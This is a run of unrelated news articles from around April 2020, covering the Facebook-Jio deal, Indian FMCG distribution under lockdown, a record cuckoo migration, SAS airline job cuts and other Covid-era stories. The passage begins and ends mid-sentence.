confirmed cases in the Macao SAR, and 429 in Taiwan including six deaths. A total of 787 patients in Hong Kong, 32 in Macao and 290 in Taiwan had been discharged from hospitals after recovery. Enditem Brand Strength Index score: 83.2 | Brand Strength Rating: AAA- (Image: Moneycontrol) When two of the worlds best meet, its reverberations can be felt throughout the planet. Facebooks announcement earlier this week that it had invested Rs 43,574 crore for a 9.99 percent stake in Reliance Jio Platforms, the stakes had been raised to the highest level with one single shot. The collaboration is by no means surprising. Mukesh Ambani's Reliance has emerged as the only Indian company capable of competing with US tech groups in the fast-growing domestic market. They range from mobile telecoms and home broadband to ecommerce. This deal makes Facebook, the social media giant, the largest minority shareholder in the Indian telecom network. It also marks the largest investment for a minority stake by a tech company in the world, and the biggest foreign direct investment (FDI) in Indias tech space. Beginning in 2016, Jio has transformed Indias technology market by offering free calls and cheap 4G internet service -- its mobile internet service alone has attracted nearly 400 million users in 42 months. Widely welcomed by users hamstrung by slow 3G connections and high tariffs, Jios appearance on the scene has virtually annihilated well-set competition, including Airtel and Vodafone. India has been going through a rapid digital transformation over the last few years and it would be accurate to say that Jio has contributed a sizable chunk to this change. Since it has played a big role in bringing millions of Indians and small businesses online, Facebook, with this investment, will have closer access to Jio users. For the US firm, the potential through this collaboration is breathtaking in its sweep. India is home to 400 million WhatsApp users Facebooks global messaging app and 300 million Facebook users. So the popular global social networking website is now working on collaborations in one of its biggest markets with one of the largest telecom service companies, which is driving the same market. As far as alliances go, this one is surely made in heaven. Think big, act big Thinking and acting big helps. That Reliance has left local competition far behind to compete with its global peers, is to state the obvious. The Jio-Facebook deal comes after Microsoft last year announced plans to partner with Jio to offer cloud computing to businesses. India has emerged as a critical market for Facebook and its WhatsApp messaging platform. The number of internet users in India is expected to rise to about 850 million in 2022, according to consultancy PwC, up from 450 million in 2017. Facebook overall is now estimated to have more users in India than any other country. India overtook the US last year to become the worlds second-largest smartphone market after China by unit shipments, according to Counterpoint Research, making it a high priority for Silicon Valley companies as well as an eyeful for their rivals in China, much maligned now in the aftermath of Covid-19. This could well mark the beginning of similar alliances for global tech companies seeking partnerships in India, wanting to thumb their noses at China. A tempting proposal That Reliance has made the Indian market tempting for Silicon Valley companies is even more commendable, given that the government has added restrictions to overseas businesses, like its proposed Personal Data Protection Bill. In a joint interview, after the deal was inked, Chief Revenue Officer at Facebook, David Fischer and Managing Director of Facebook India, Ajit Mohan, said that a potential collaboration would be JioMart. For years, WhatsApp has worked to build tools for small businesses and taken an avid interest in payment systems. Facebook too has chased similar objectives. By bringing together JioMart, which is Jios small business initiative with WhatsApp, Facebook plans to connect people with businesses, shops and purchase products, giving them a chance to discover new products. Such thinking reveals an innovative mindset and a creativity that the Indian businesses caught up in the rigmarole of the day today - could well do with. With Jio, one of the fastest-growing companies in the world, that justifiably has ambitions to take on Amazon in e-commerce, provide fiber net, run data centres and set up new services like telehealth and distance learning, the investment from Facebook will help. Facebook too stands to gain substantially with this deal. Mukesh Ambani is a prominent voice in India, whose views on business and other matters carry substantial weight. It can certainly help the American social networking site to leave a bigger imprimatur in India. Ultimately, the Jio-Facebook deal will accelerate Indias push for Digital India. Amid the COVID-19 pandemic and the economic slump, this may come with a two-fold advantage for this country driving the digital transformation and regulating the economy. With JioMart and WhatsApp, Mukesh Ambani, in his video message said it would be possible for around 30 million neighbourhood stores to transact digitally. It certainly suggests a transformational shift in the way business is conducted in India. For Facebook, it is a tempting thought to gain a huge base of users because of the rise of Chinas TikTok, which has amassed more than 250 million users in India. With Facebooks attempt to build a similar service called Lasso with Jio in their corner, the metamorphosis would be well and truly complete. Ranjit Bhushan is an independent journalist and former Nehru Fellow at Jamia Millia University. In a career spanning more than three decades, he has worked with Outlook, The Times of India, The Indian Express, the Press Trust of India, Associated Press, Financial Chronicle, and DNA. : Reliance Industries Ltd., which also owns Jio, is the sole beneficiary of Independent Media Trust which controls Network18 Media & Investments Ltd. Hindustan Unilever's (HUL's) Humara Store project is close to Chairman and MD Sanjiv Mehta's heart. With the company generating 90 per cent of its business through general trade, Mehta has been passionate about digitally enabling kirana stores across the country. Way back in 2017, the company had converted a few grocery stores in Delhi into Humara stores. It tried to technologically empower the owner by getting him to order through HUL's Shikar app. It also enabled him to offer online services to consumers and keep the right stock keeping units (SKUs) by using data analytics. Back then, a tech-enabled kirana store sounded unreal. In fact, many store owners downloaded the app, but never used it. "I have the app but have never used it. Who has the time to order online? I prefer distributors coming to my store and taking orders," Arvind Sathe, a kirana store owner in Nashik, had pointed out then. Fast forward to March-April 2020, the era of the deadly coronavirus pandemic where becoming digitally enabled is a must for the entire FMCG ecosystem. With traditional supply chain ecosystem nearly coming to a halt due to lack of manpower, FMCG majors (HUL, Britannia, Marico, ITC, among others) have hurriedly started using the digital route to get their products to consumers. The last one month has seen companies partnering with food delivery platforms (such as Swiggy and Zomato), cab aggregators such as Uber, and even security and community management solution providers such as MyGate and NoBrokerHood, to reach consumers. Third-party supply chain distributor ShopX claims a 46 per cent rise in ordering by traditional grocery retailers from its platform in the first week of the lockdown itself. Cash and carry retailers such as Metro Cash & Carry have started picking up stocks from factories of FMCG majors and delivering to kirana retailers. Metro has also been encouraging stores to order from its app. Close to 83 per cent packaged FMCG business in India happens through general trade while ecommerce is less than 2 per cent. The latter, say experts, will surely see a surge post the lockdown to 15-20 per cent but the most interesting bit is how the traditional distribution network, which FMCG companies have built over decades, will evolve. From companies adopting more automation across distribution networks, to moving towards asset-light models by working with third-party distributors, to consolidating existing networks, the next few months will see a major overhaul of the distribution network of the $100 billion Indian FMCG industry. "The pandemic has subjected the country to an unprecedented situation. To provide support to consumers, we decided to address the distribution challenge in line with our core principles of innovation, agility and empathy. We are delighted that our unique partnerships with food delivery chains, consumer food apps, community e-commerce brands and our own direct to consumer portal have provided timely supply of essentials to consumers. We are witnessing strong demand through these channels," says B. Sumant, Executive Director, ITC, adding: "These partnerships are a vindication of the power of collaboration as no brand alone can fulfil the needs of the nation during these unprecedented times." Marico has partnered with not just new-age tech platforms. It has also joined hands with logistics companies such as Delhivery, Shadowfax and Lalamove to deliver products from factories to depots and thereafter to distributors. "The distributors have also used services of these logistics partners to ensure movement of goods to retailers. Rolled out within 48-72 hours of the lockdown, this helped resolve problems at different levels and helped multiple distributors across regions restart their business," says Sanjay Mishra, COO (India Sales and Bangladesh Business), Marico. A recent Nielsen report says supply chain and distribution reinvention is the priority of 50 per cent leaders of the FMCG industry while 43 per cent consider it as their top priority for the next 12 months. Evaluating various methods of digital distribution is priority of 57 per cent leaders while over 50 per cent consider digital transformation as top priority of their organisation over the next 12 months. Acharya Balkrishna, MD of Patanjali Ayurved, says a digitised supply chain and distribution ecosystem is a must in the current scenario. The FMCG player had unveiled a new digitised supply chain distribution system - which enables traceability right from the source of ingredients to manufacturing and thereafter at the distributor's warehouse right up to the final sale point - just before the outbreak of the pandemic. "Our business faced a setback post demonetisation and GST after which we started putting together our digitised supply chain distribution mechanism. We have a clear picture of our stocks in various warehouses and at retailers. Thanks to the new system, we have been able to handle the coronavirus disruption well. Our system gave us real-time information the moment the disruption happened and we at once focused on markets where supply was an issue. We also prioritised products we needed to manufacture keeping in mind the labour shortage," says Balkrishna. He says after the initial disruption during the first two weeks of the lockdown, Patanjali is close to achieving its sales target for March-April. Harsha Razdan, Partner and Head, Consumer Practice, KPMG, says reinvention of supply chain and distribution has become all the more important as consumer expectations and behaviour will change in the post-coronavirus world. "This will require FMCG companies to re-align supply chains in terms of agility, reliability, transparency, hygiene perception and traceability. The globally interlinked supply chains will move towards higher localisation and source diversification to mitigate risk. In addition, there is going to be a marked shift towards online/marketplace delivery. Supply chains will need to be reconfigured to address this shift." Digital Backbone Automation is set to become the buzzword. While bigger companies have embraced automation to a large extent, mid-sized and smaller manufacturers will also feel the need to invest in technology. "So far, supply chains have been optimised for costs and responsiveness to demand. Now, companies will say, how do we factor in risks to labour? Therefore, they may want to automate across the value chain," says Kannan Sitaram, former Dabur COO and currently Venture Partner, Fireside Ventures. Small and mid-sized companies are also looking at strengthening ties with third-party distribution companies such as ShopX and Udaan which already have a strong tech backbone. Srini Vudaygiri, CEO, Unibic Biscuits, says he is in talks with several such companies. "During the lockdown, these new-age distribution companies seemed to be better prepared than most others. They were able to get curfew permits and put trucks and manpower in place. Relationships with these companies will become stronger," says Vudaygiri. These companies enabled retailers to place orders online and could, hence, follow social distancing. "Since our warehousing is digital, all that the retailers need to do is log in to our app and place orders," says Amit Sharma, CEO, ShopX. He says their digitised system enables them to tell retailers about products that are more in demand. "Sanitisers were not the only product in demand. A lot of consumers also wanted to buy products like UHT (ultra high temperature) processed milk and juices. We were able to give this information and, thereby, enabled them to stock more efficiently." Ashish Jhina, Co-Founder and COO of Jumbotail, says orders on his platform have risen two-three times since the lockdown. "Post COVID 19, we will see a huge change in go-to-market strategies of companies. They will try to find ways to make their supply chain and distribution networks more resilient. Traditional supply chain and distribution networks were also not able to withstand shocks such as demonetisation and GST." While players such as ShopX, Udaan and Jumbotail have been in the distribution business for a while, the new kids on the block who have taken advantage of the disruption are the likes of Swiggy, Zomato, Dunzo, Uber, MyGate and NoBrokerHood. While NoBrokerHood doesn't consider this a long-term business proposition, a spokesperson for Uber says, "Right now, our aim is to keep the economy running and enable Indians to stay at home in line with government guidelines and create earning opportunities for our driver partners. The partnership with retailers further consolidates our new last-mile delivery service." Food delivery platform Swiggy says it is here for the long term. In fact, there is also unconfirmed news of Zomato buying online grocery platform Grofers. Vivek Sundar, COO, Swiggy, says delivery of grocery and essentials was always part of its long-term strategy and coronavirus lockdown has helped it ramp up faster. "Swiggy entered the groceries and essentials category in 2019 with pilots in Gurgaon and later in Bangalore and Hyderabad. Extending hyperlocal delivery has unlocked a new dimension of convenience and safety for our consumers as well as earnings for our delivery partners during these extraordinary times. We will continue to scale up this category with the goal of providing access to essentials," says Sundar. Mishra of Marico confirms they are considering their partnership with the likes of Swiggy and Zomato for the long term. "We will continue to leverage this to reach our consumers directly." While FMCG firms' increased focus on ecommerce (currently less than 5 per cent of sales) is a no-brainer considering that consumers will avoid visiting stores even after the lockdown, a number of experts say unit economics of doing business with food delivery platforms may not work in the long term. "The traditional supply chain is much more cost effective," says Kannan of Fireside Ventures. A big FMCG brand would have retail margins of 10-12 per cent and distributor margins of 4-6 per cent. A Dunzo or a Swiggy, says Kannan, will also charge a shipping fee, which will take overall costs to 25-30 per cent. "Most companies are currently absorbing these costs as they are desperate to take their products to consumers. I am not sure if it will make sense for them in the long term." Platforms such as Swiggy and Zomato are not viable in the long term, says Balkrishna of Patanjali. "They approached us too but we didn't find it profitable. Ours is a low margin business and they were asking for high margins. It didn't work for us." P.C. Musthafa, Founder, ID Fresh, says the disruption caused by the lockdown has forced his company to invent an online-offline distribution model. The company has launched an application called 'Product Finder', which enables it to track inventory across stores. It also tells consumers about stores which have ID batters. "One needs to go to our website and key in details of one's locality on the product finder. The finder also gives us information about consumers which, at a later date, will help us service them directly." Here To Stay Easwaran P.S., Lead, Supply Chain, Deloitte India, expects companies to make their distribution channels nimbler and lighter. "Companies will conserve cash. A lot of fixed assets will get converted into variables. They will work with people who are specialised in this, which could either be a third-party company or a specialised distributor." An asset light model, however, doesn't mean that the traditional distributor will vanish. In fact, the traditional model is the most cost effective, especially in rural and Tier IV-V markets which account for over 50 per cent of FMCG sales. These are markets where most companies do not have direct distribution networks and largely depend on sub-distributors and wholesalers. "The traditional distribution channel is here to stay because it is a strong backbone of the country. It will take some time to wish that away. Having said that, online and modern trade channel will continue to witness accelerated adoption due to the Covid crisis," says Rishav Jain, Senior Director and Consumer & Retail Sector Lead, Alvarez and Marsal, a consultancy. In fact, companies such as Amul and Parle Products have tweaked their distribution strategy during the lockdown, but have continued to work within the traditional network. R.S. Sodhi, MD, Amul, says the company has three supply chain and distribution channels, one each for fresh, ambient and frozen products. "When our products were unable to reach consumers due to lack of manpower, we merged the network. The idea was to take products to consumers and whichever distributor had the ability to do so started distributing all kinds of Amul products. This helped increase sales." Similarly, Parle Products offered incentives to transporters and workers so that they keep working, says Category Head B. Krishna Rao. "Since manpower was an issue for our distributors, we encouraged them to get in touch with retailers and ask them to pick stocks from them. We also directly delivered to retailers and partnered with cash and carry players to pick stocks from our factories and deliver to the stores." Rao says though Parle Products is evaluating partnerships with third-party distribution platforms, its traditional distribution network will always remain the focus. "General trade constitutes 90 per cent of our distribution. It may come down to 80 per cent in the foreseeable future but it can never be replaced." Sodhi of Amul says his company will go back to the old ways once normalcy returns. "We are more worried about today. Once normalcy returns, no one can serve better than general trade." Hybrid Models Experts are expecting the emergence of a host of hybrid models. A traditional distributor is the stockholding point. He also delivers to the retailer. He is also the working capital provider as he extends credit to the retailer. Vudaygiri of Unibic says distributors may continue to raise bills to retailers and act as stockholding points. But companies may prefer working with a third-party logistics enabler for last-mile delivery. "The distributors needn't extend credit either. There are quite a few fintech companies which are extending credit to retailers," he explains. While companies will look to conserve cash by working with third-party suppliers, they will also consolidate their existing network for more efficiency. "Covid would have adversely impacted many smaller distributors with stressed cash positions. Therefore, distribution channel could potentially consolidate. Larger and more liquid stakeholders are likely to survive this crisis. Even companies are less likely to take care of all participants in the value chain," points out Jain of Alvarez and Marsal. The other stakeholder which FMCG companies will increasingly work with are cash and carry retailers. The lockdown has seen the likes of Metro Cash & Carry pick stocks from manufacturers and delivering directly to retailers. Arvind Mediratta, CEO, Metro Cash & Carry, says his company is making a pitch to FMCG manufacturers to make it their natural route to market. "If you look at a small kirana shop, a big company like HUL may have enough products to cater to the small store. But a mid-sized FMCG player may not find it economically viable to serve a kirana shop. Kiranas come to us to buy. We have a large sales force of 750 people. We also have our own ecommerce app. It is much more efficient to reach consumers through us," he says. On the other hand, the good old kirana store owner who was once averse to ordering online is now trying to become digital savvy. Dinesh Patel, owner of a kirana store in suburban Mumbai, says he earlier never understood the business models of various online B2B platforms such as Udaan or even BigBasket. "In fact, none of them have been able to deliver due to manpower shortage. I am personally going to distributors to pick up stocks." But will Patel switch to online platforms when normalcy returns? "I will order online when I am out of stock of certain fast-moving SKUs but I will never stop buying from the distributors. I have a long-standing relationship with them." The FMCG industry will surely relook at its distribution infrastructure in the new normal post the lockdown. @ajitashashidhar A speedy cuckoo flew more than 4,000 miles in just seven days on his annual migration to the UK from central Africa, smashing the record books. The bird named Carlton II was helped by strong southerly winds as sped 4,677 miles from the Ivory Coast in West Africa to marshes in the East of England. Cuckoos normally take two or three weeks to reach the UK after starting their journeys in the western African country of Gabon before stopping in the Ivory Coast. The British Trust for Ornithology (BTO) tracked Carlton II's journey along with two other UK-bound cuckoos. Carlton II was fitted with a high-tech satellite tag in May 2018 by scientists from the BTO so they could track his every move Carlton II became the fastest tagged bird to make the trip after he arrived in Carlton Marshes in Suffolk. He over-took the other cuckoos PJ and Senan who are currently stopping over in Spain and North Africa. Carlton II was fitted with a high-tech satellite tag in May 2018 by scientists from the BTO so they could track his every move. The cuckoo was helped by strong southerly winds as sped 4,677 miles from the Ivory Coast in West Africa to marshes in the East of England He was tracked arriving in the UK last week and briefly stopping in Berkshire before heading to Suffolk. The cuckoo will spend the next four to six weeks in Suffolk, hopefully breeding, before travelling back to the Congo rainforest in Gabon, Central Africa. Since having his tag fitted two years ago, Carlton II has flown over 22,000 miles on his migration between his two homes. Cuckoos ordinarily stay loyal to their breeding grounds and will visit every year. Carlton, who is at least three years old, is named after his returning territory in Suffolk and is the second cuckoo from that area to have been tagged. BTO lead scientist on the cuckoo tagging project Dr Chris Hewson said: 'It is great to see Carlton II getting back to the UK so quickly. 'Taking just a week to cover more than three thousand miles from Liberia to Berkshire is an awesome feat and something even swifts don't manage. 'This shows us just how quickly these harbingers of spring can get here from tropical Africa when conditions for their journey are good. Carlton II has flown over 22,000 miles on his migration between his two homes since his tag was fitted two years ago 'Its a journey so full of hazards - including high winds, ferocious hailstorms and thunderstorms, and lengthy sea crossings - that its always a relief when they get back, no matter how fast or slow. 'We have lost almost three-quarters of our breeding cuckoos during the last 25 years. 'As cuckoos spend more time outside of the UK than they do in it, it is vital to understand where they do, the journey they take to get there, and any pressures that might be contributing to their decline. 'These Cuckoos have taught us so much about their lives, giving answers but also raising more questions as to what might be behind their decline.' The bird, who is at least three years old, is named after his returning territory in Suffolk and is the second cuckoo from that area to have been tagged Tagged cuckoos, such as Carlton II, typically stop over in either North Africa or Spain on their way back to the UK, to recover from their desert crossing after leaving Ivory Coast. Similarly, they will stay in south Europe for a month after leaving the UK, on their way back to Africa. Half the number of Cuckoos in the UK have been lost over the last 20 years. The BTO have used this satellite-tracking technology since 2011 to find out why the population is decreasing. They have linked the different routes taken by cuckoos to the decline and some of the pressures they face while on migration. Private schools will be given financial rewards to restart classroom teaching within four weeks under a federal plan to use $13 billion in annual funding to demolish resistance to face-to-face learning. Prime Minister Scott Morrison will offer independent and Catholic schools a 25 per cent advance on next years federal funding on the condition they have at least half their students in classrooms by June 1. Independent and Catholic schools will get a financial incentive to open their classrooms up by June 1. Credit:Louie Douvis The dramatic offer, made to school groups on Tuesday night, intensifies pressure on state governments to hasten the end of online learning at home as Australia curbs growth in the COVID-19 virus. With the Victorian and Queensland governments holding out against calls to quicken the return to classrooms, federal Education Minister Dan Tehan insisted the countrys peak expert group said schools were safe. There's no doubt that money can be made by owning shares of unprofitable businesses. For example, biotech and mining exploration companies often lose money for years before finding success with a new treatment or mineral discovery. Nonetheless, only a fool would ignore the risk that a loss making company burns through its cash too quickly. Given this risk, we thought we'd take a look at whether Beijing Media (HKG:1000) shareholders should be worried about its cash burn. In this report, we will consider the company's annual negative free cash flow, henceforth referring to it as the 'cash burn'. We'll start by comparing its cash burn with its cash reserves in order to calculate its cash runway. See our latest analysis for Beijing Media When Might Beijing Media Run Out Of Money? A cash runway is defined as the length of time it would take a company to run out of money if it kept spending at its current rate of cash burn. As at December 2019, Beijing Media had cash of CN224m and no debt. In the last year, its cash burn was CN74m. That means it had a cash runway of about 3.0 years as of December 2019. A runway of this length affords the company the time and space it needs to develop the business. Depicted below, you can see how its cash holdings have changed over time. SEHK:1000 Historical Debt April 28th 2020 How Well Is Beijing Media Growing? Beijing Media reduced its cash burn by 9.2% during the last year, which points to some degree of discipline. Unfortunately, however, operating revenue declined by 38% during the period. Taken together, we think these growth metrics are a little worrying. Of course, we've only taken a quick look at the stock's growth metrics, here. This graph of historic earnings and revenue shows how Beijing Media is building its business over time. How Easily Can Beijing Media Raise Cash? Beijing Media seems to be in a fairly good position, in terms of cash burn, but we still think it's worthwhile considering how easily it could raise more money if it wanted to. Companies can raise capital through either debt or equity. One of the main advantages held by publicly listed companies is that they can sell shares to investors to raise cash to fund growth. By looking at a company's cash burn relative to its market capitalisation, we gain insight on how much shareholders would be diluted if the company needed to raise enough cash to cover another year's cash burn. Story continues Beijing Media's cash burn of CN74m is about 45% of its CN162m market capitalisation. From this perspective, it seems that the company spent a huge amount relative to its market value, and we'd be very wary of a painful capital raising. Is Beijing Media's Cash Burn A Worry? On this analysis of Beijing Media's cash burn, we think its cash runway was reassuring, while its cash burn relative to its market cap has us a bit worried. We don't think its cash burn is particularly problematic, but after considering the range of factors in this article, we do think shareholders should be monitoring how it changes over time. On another note, we conducted an in-depth investigation of the company, and identified 4 warning signs for Beijing Media (1 can't be ignored!) that you should be aware of before investing here. Of course, you might find a fantastic investment by looking elsewhere. So take a peek at this free list of interesting companies, and this list of stocks growth stocks (according to analyst forecasts) If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. Sinn Fein leader Mary Lou McDonald has said companies cannot be trusted to provide employees with safe working conditions when Covid-19 restrictions are lifted. In a letter to Taoiseach Leo Varadkar, which has been seen by the Irish Independent, Ms McDonald said the government must introduce strict new rules for businesses reopening after the lockdown. "It is critical that the Government sets out what health and safety procedures will be in place to protect workers, alongside the opening of workplaces," she wrote. "We all know that self-regulation will not work and there needs to be a strong compliance system in place which supports, and has resources to carry out, necessary monitoring," she added. The Sinn Fein leader said she was aware of employers who contacted employees last weekend in anticipation of returning to work next week. The letter was sent ahead of a meeting of party leaders due to take place this week. Ms McDonald, who recently recovered from the coronavirus, also accused the Government of wrongly raising the public's expectation over the lifting of restrictions. "We all want to see people back at work, schools reopening and to have renewed contact with our families; however, I am concerned that the Government has increased expectation regarding the lifting of restrictions on May 5," she said. "In my view this is a mistake which has caused a lot of confusion and anxiety. "The HSE has conceded it will not be in a position to ramp up testing and tracing until the middle of May and the ability to test, trace and isolate is critical to the easing of restrictions in a planned, safe way." She said the lifting of restrictions must be done gradually and there should be an all-Ireland approach. Ms McDonald also told the Taoiseach there should be a "fair recovery" after the pandemic and said healthcare workers should be paid better. "It's not enough to applaud our healthcare workers, we must pay them properly," she said. 28 April 2020 - Arctic Intelligence continues to strengthen their partner ecosystem by welcoming a new addition to their global alliance network. This strategic partnership with Financial Crime Risk Management Consultants (FCRMC) will harness support across the African region. Imelda Newton, Chief Revenue Officer from Arctic Intelligence is thrilled to extend their global footprint and says, "Leveraging local expertise is critical to providing the best outcome for our customers. FCRMC ARMED Forces Chief of Staff Felimon Santos Jr. has withdrawn his request for help from the Chinese ambassador in the procurement of a drug believed to treat the coronavirus disease. Santos, who has recovered from the disease, had written to Chinese Ambassador to the Philippines Huang Xilian to request for assistance in purchasing five boxes of Carrimycin tablets for his friends who also tested positive for the novel coronavirus, or Sars-CoV-2. Santos, however, withdrew his request after learning that Carrimycin is not registered with the Food and Drug Administration in the country. Defense Secretary Delfin Lorenzana on Tuesday defended Santos, saying his action did not put the countrys security at risk, but said his request should have been coursed through the Department of Foreign Affairs (DFA). Hindi naman siguro very improper yung ginawa niya wala lang sa lugar dahil dapat yung mga ganun mga sulat ay idadaan sa Department of Foreign Affairs, Lorenzana said in a televised press briefing. In a statement, Lorenzana said he could understand Santos, who although asymptomatic, went through the fear and anguish of being infected with a deadly virus. He said there is nothing wrong with wanting to help those who are suffering from Covid-19. Let us put the matter to rest, he said. In his letter to Huang, the top military official said one of his Chinese friends gave him Carrimycin tablets, which he took for six days after he was found positive for the novel coronavirus. His next test after taking Carrimycin yielded negative results. The letter surfaced after the National Bureau of Investigation (NBI) confiscated P3 million worth of Carrimycin. (SunStar Philippines) Angered by the deteriorating economy, protesters attack banks in Tripoli in northern Lebanon. Demonstrators in Lebanon, angered by the plunging currency and soaring prices, have clashed with security forces in defiance of a lockdown against the coronavirus pandemic. The rallies which started last October against Lebanons ailing economy have been worsened by the governments failure to manage corruption and fix its political system, critics say. Al Jazeeras Victoria Gatenby reports. CLINTON TOWNSHIP, Mich., April 28, 2020 /PRNewswire/ -- Macomb County's Terence Mekoski recently announced his candidacy for Macomb County Sheriff. Mekoski will run in the August 4 Republican Primary to seek the party's nomination for Macomb County Sheriff for this November's Election. Terence Mekoski, Macomb County Sheriff Candidate "These are tough times in our community, but things will get better. I am running for Macomb County Sheriff because I have the experience to make our Sheriff's Office the best version of itself. I have lived in Macomb County for over 22 years, and I care deeply about the place we all call home. I'm running because we need a new approach to the Sheriff's Office. We need an experienced fighter with fresh ideas that will provide the solutions required for the safety of our citizens and communities," said Mekoski. Terence is a husband, father to four, and grandfather to six, with over 34 years of law enforcement experience. He began his career at age 19 as an officer with the Detroit Police Department. Five years later, he joined the Oakland County Sheriff's Office where he served for the next 26 years rising through the ranks of Deputy, Sergeant, and Lieutenant to Deputy Commander. He led a number of operations within the Sheriff's Office, including serving as the Agent in Charge of an FBI Multi-Agency Task Force and a DEA Multi-Jurisdictional Task Force, working to combat drug trafficking in the region. Additionally, he served as an Administrative Lieutenant in the Oakland County Jail and this experience will be critical in cleaning up the Macomb County Jail. In 2016, he moved to a regulatory agent for the Michigan Gaming Control Board, followed by his current position at the DEA as the Senior Financial Investigator for the Opioid Strike Force to continue the fight against our nation's drug crisis. Terence has a strong desire to help those affected by opioid addiction. If chosen by the voters to lead the Sheriff's Office, Terence will work with federal, state, and local government agencies, the faith community, and nonprofits that deal with addiction to help lower recidivism rates among both released and incarcerated inmates. "I have spent a large portion of my career working in drug enforcement agencies because I have a passion for keeping drugs off our streets and out of the hands of our sons and daughters. We can and must do more than what we've been doing. This will be one of my top priorities as your Macomb County Sheriff," stated Mekoski. Terence will continue his life of community service and provide solutions for the toughest challenges facing Macomb County. He added, "The Sheriff's Office should focus on providing protection to Macomb County citizens, safe detention for our inmates, and community support to turn the lives around of those that are addicted. I look forward to meeting the citizens of Macomb County over the coming months and seeking their support." As Macomb County continues to respond to COVID-19, Terence has hosted weekly "Take Ten with Terence Mekoski" Facebook Live segments that give him the opportunity to check in on the community, hear issues affecting citizens, and take questions. To join in on this week's "Take Ten" or learn more about Terence's candidacy, visit his Facebook page and his website at mekoski.com for more information. MEDIA CONTACT: Michelle Wilson, Director of Communications 586.422.0070 [email protected] Paid for by Terence Mekoski for Macomb County Sheriff. 42211 Garfield Road, #238, Clinton Twp., MI 48038-1648 Related Images image1.png Related Links Facebook LinkedIn SOURCE Terence Mekoski, Macomb County Sheriff Candidate Related Links https://www.mekoski.com If it could lead to a speedier creation of a vaccine for COVID-19, we are willing - without reservation - to have doctors infect us with the novel coronavirus. Researchers might then see whether a vaccine candidate made any difference. Such tests are known as "human challenge trials", and while they are ethically controversial in cases where there is no treatment for an illness, they could be warranted in this emergency, if conducted carefully. Through an organisation called 1DaySooner, we've gathered signatures from nearly 4,000 people in 52 countries who are willing to make the same commitment we are. Human challenge trials differ from standard vaccine-testing protocols in several important ways. In traditional clinical trials, participants in the crucial "phase three" stage, which follows initial testing for safety, proper dosing and other issues, receive either a candidate vaccine or a placebo and then are observed for evidence of infection. But such infections must occur in the course of participants' daily lives; unfortunately, this takes time - and most participants are unlikely to become infected during the trial. As a result, these trials often have thousands or even tens of thousands of participants and can last many months, one reason the target date for vaccine approval is a year to a year-and-a-half away. A pharmacy technologist using a biosafety level 2 hood prepares a COVID-19 vaccine candidate. Credit:Centre for Pharmaceutical Research In a human challenge trial, in contrast, researchers deliberately expose trial participants to infection, after administering a vaccine. The dose is carefully calibrated to minimise the risk of serious illness, and participants are kept in isolation, and monitored closely. Because exposure is guaranteed, these trials can involve about a hundred people per vaccine candidate and results can come weeks after the exposure. The advantage of speed during a pandemic is obvious. Scandinavia's biggest airline, SAS AB, is eliminating as many as 5,000 jobs, marking the first permanent staff cuts by a major European carrier in the face of collapsing travel demand. The Stockholm-based company said Tuesday that the dismissals, amounting to 40% of the workforce, are necessary because employees have an average notice period of six months and it needs to prepare for what may be years of sluggish demand. The job cuts provide a taste of things to come at European airlines, which have suffered one of the biggest hits from the coronavirus pandemic, with 90% of capacity grounded. Government furlough programs have generally avoided firings in the short-term, with thousands of workers laid off temporarily. "It's a painful message to give," SAS Chief Executive Officer Rickard Gustafson said in a phone interview. "We are prepared to shift if demand returns more quickly and pull back some of the announced cuts." Shares of SAS traded 3.8% lower as of 12:42 p.m. in Stockholm, and are down 43% this year. SAS rival Norwegian Air Shuttle ASA said last week it had placed pilot and cabin-crew companies in Denmark and Sweden into bankruptcy protection, saying it was unable to pay salaries with its fleet grounded. The move will affect about 1,500 pilots and more than 3,000 cabin crew at the carrier, which said Tuesday it has revised a debt plan presented only yesterday. Furlough programs have affected tens of thousands of airline employees across Europe, with British Airways alone sending home 30,000 employees after grounding almost all of its passenger planes. SAS, which had already laid off 90% of employees, will split the permanent job cuts across its three home nations, with about 1,900 posts going in Sweden, 1,700 in Denmark and 1,300 in Norway. Labor law in Nordic countries means notice periods are often longer than elsewhere in Europe. British firms legally have to give no more than 12 weeks' notice, around half the period SAS said applies to its employees on average. Gustafson said the airline has yet to receive money from a bailout announced last month under which it will get 3 billion kronor ($300 million) in loan guarantees from Sweden and Denmark and $146 million from Norway. The European Union gave the go ahead for the payments Friday, he said, and SAS is now "working intensively to gain access to these facilities." Among other carriers, Air France-KLM and Deutsche Lufthansa AG are working to pin down state support, with the German carrier preparing to cede a stake to the government as part of a multi-billion-euro package. Norwegian Air's revised debt plan will see about $300 million of its bonds converted to equity, instead of $350 million previously, in a bid to appease disgruntled holders. The low-cost carrier is scrambling to qualify for a 3 billion kroner ($286 million) state aid package before running out of cash. Bondholders will vote on the proposal on Thursday, and shareholders on Monday. As the nation continues to fight the Novel Coronavirus pandemic, many celebrities from the film industry have been doing their bit to aid the Indian government in times of crisis. One such Bollywood star is Akshay Kumar. Besides spreading awareness about COVID-19 with his posts and videos, the superstar has also made various contributions to lend a helping hand. The latest we hear is, Akshay has donated Rs 2 crore to the Mumbai Police Foundation. Reportedly, he made the contribution keeping in mind the recent demise of Mumbai Police head constables Chandrakant Pendurkar and Sandip Surve, at a time when the police is working round the clock to maintain law and order amid nationwide lockdown. The Mumbai Police Foundation Thanks Akshay For His Contribution The Twitter handle of Mumbai Police Foundation thanked the Kesari actor for his contribution and tweeted, "Mumbai Police thanks @akshaykumar for contributing Rs 2 Crore to the Mumbai Police Foundation. Your contribution will go a long way in safeguarding the lives of those who are committed to safeguarding the city - the men and women of Mumbai Police! #MumbaiPoliceFoundation." The Superstar's Reply To this, Akshay replied, "I salute @MumbaiPolice headconstables Chandrakant Pendurkar & Sandip Surve, who laid their lives fighting Corona. I have done my duty, I hope you will too. Let's not forget we are safe and alive because of them." Akshay Kumar's Kind Gesture Previously, the actor had contributed Rs 3 crore to BMC to assist the making of PPE equipments, protective masks and rapid testing kits, in the fight against COVID-19. A Heart Of Gold! Also, the Sooryavanshi actor was the first Bollywood celebrity to donate to Prime Minister Narendra Modi's PM-CARES Fund to help the government in its battle against the Novel Coronavirus. He made a contribution of Rs 25 crore and soon, many other stars followed his footsteps. Akshay Kumar's Laxmmi Bomb To 